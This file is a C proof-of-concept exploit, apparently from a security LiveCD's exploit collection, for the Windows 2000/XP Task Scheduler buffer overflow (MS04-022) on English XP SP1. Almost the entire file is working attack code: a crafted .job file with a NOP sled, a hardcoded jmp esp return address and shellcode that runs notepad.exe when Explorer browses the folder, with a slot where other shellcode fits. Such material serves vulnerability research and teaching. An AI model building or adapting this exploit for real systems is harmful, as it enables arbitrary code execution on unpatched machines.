home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / msTaskSchedRemoteBufOverflowExploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  147 lines

  1. //*************************************************************
  2. // Microsoft Windows 2K/XP Task Scheduler Vulnerability (MS04-022)
  3. // Proof-of-Concept Exploit for English WinXP SP1
  4. // 15 Jul 2004
  5. //
  6. // Running this will create a file "j.job".  When explorer.exe or any 
  7. // file-open dialog box accesses the directory containing this file, 
  8. // notepad.exe will be spawn.
  9. // 
  10. // Greetz: snooq, sk and all guys at SIG^2 www security org sg
  11. //
  12. //*************************************************************
  13.  
  14. #include <stdio.h>
  15. #include <windows.h>
  16.  
  17.  
  18. unsigned char jobfile[] = 
  19. "\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
  20. "\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
  21. "\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
  22. "\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  23. "\x00\x00\x00\x00\x00\x00\x80\x01\x44\x00\x3A\x00\x5C\x00\x61\x00"
  24. "\x2E\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  25.  
  26. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  27. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  28. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  29. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  30. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  31. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  32. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  33. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  34. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  35. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  36. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  37. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  38. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  39. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  40. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  41. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  42. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  43. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  44. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  45.  
  46. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  47. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  48. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  49. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  50. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  51. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  52. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  53. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  54. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  55. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  56.  
  57.  
  58. "\x78\x00\x78\x00\x78\x00\x78\x00\x79\x00\x79\x00\x79\x00\x79\x00"
  59. "\x7A\x00\x7A\x00\x7A\x00\x7A\x00\x7B\x00\x7B\x00\x7B\x00"
  60. "\x5b\xc1\xbf\x71"            // jmp esp in SAMLIB WinXP SP1
  61. "\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"
  62. "\x90\x90"                    // jmp esp lands here
  63. "\xEB\x80"                    // jmp backward into shellcode
  64. "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  65. "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  66. "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  67. "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  68. "\x61\x00\x61\x00\x61\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  69. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  70. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  71. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  72. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  73. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  74. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  75. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  76. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  77. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  78. "\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x04\x00\x44\x00\x3A\x00"
  79. "\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00\x74\x00"
  80. "\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00\x00\x00"
  81. "\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00\x00\x00"
  82. "\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  83. "\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  84. "\x00\x00\x00\x00";
  85.  
  86.  
  87. /*
  88.  * Harmless payload that spawns 'notepad.exe'... =p
  89.  * Ripped from snooq's WinZip exploit
  90.  */
  91.  
  92. unsigned char shellcode[]=
  93.  "\x33\xc0"        // xor eax, eax            // slight modification to move esp up
  94.  "\xb0\xf0"        // mov al, 0f0h
  95.  "\x2b\xe0"        // sub esp,eax
  96.  "\x83\xE4\xF0"    // and esp, 0FFFFFFF0h
  97.  "\x55" // push ebp
  98.  "\x8b\xec" // mov ebp, esp
  99.  "\x33\xf6" // xor esi, esi
  100.  "\x56" // push esi
  101.  "\x68\x2e\x65\x78\x65" // push 'exe.'
  102.  "\x68\x65\x70\x61\x64" // push 'dape'
  103.  "\x68\x90\x6e\x6f\x74" // push 'ton'
  104.  "\x46" // inc esi
  105.  "\x56" // push esi
  106.  "\x8d\x7d\xf1" // lea edi, [ebp-0xf]
  107.  "\x57" // push edi
  108.  "\xb8XXXX" // mov eax, XXXX -> WinExec()
  109.  "\xff\xd0" // call eax
  110.  "\x4e" // dec esi
  111.  "\x56" // push esi
  112.  "\xb8YYYY" // mov eax, YYYY -> ExitProcess()
  113.  "\xff\xd0"; // call eax
  114.  
  115.  
  116. int main(int argc, char* argv[])
  117. {
  118.     unsigned char *ptr = (unsigned char *)shellcode;
  119.  
  120.     while (*ptr) 
  121.     {
  122.         if (*((long *)ptr)==0x58585858) 
  123.         {            
  124.             *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "WinExec");
  125.         }
  126.         if (*((long *)ptr)==0x59595959) 
  127.         {            
  128.             *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "ExitProcess");
  129.         }
  130.         ptr++;
  131.     }
  132.  
  133.     FILE *fp;
  134.     fp = fopen("j.xxx", "wb");
  135.     if(fp)
  136.     {
  137.         unsigned char *ptr = jobfile + (31 * 16);
  138.         memcpy(ptr, shellcode, sizeof(shellcode) - 1);
  139.  
  140.         fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
  141.         fclose(fp);
  142.         DeleteFile("j.job");
  143.         MoveFile("j.xxx", "j.job");
  144.     }
  145.     return 0;
  146. }
  147.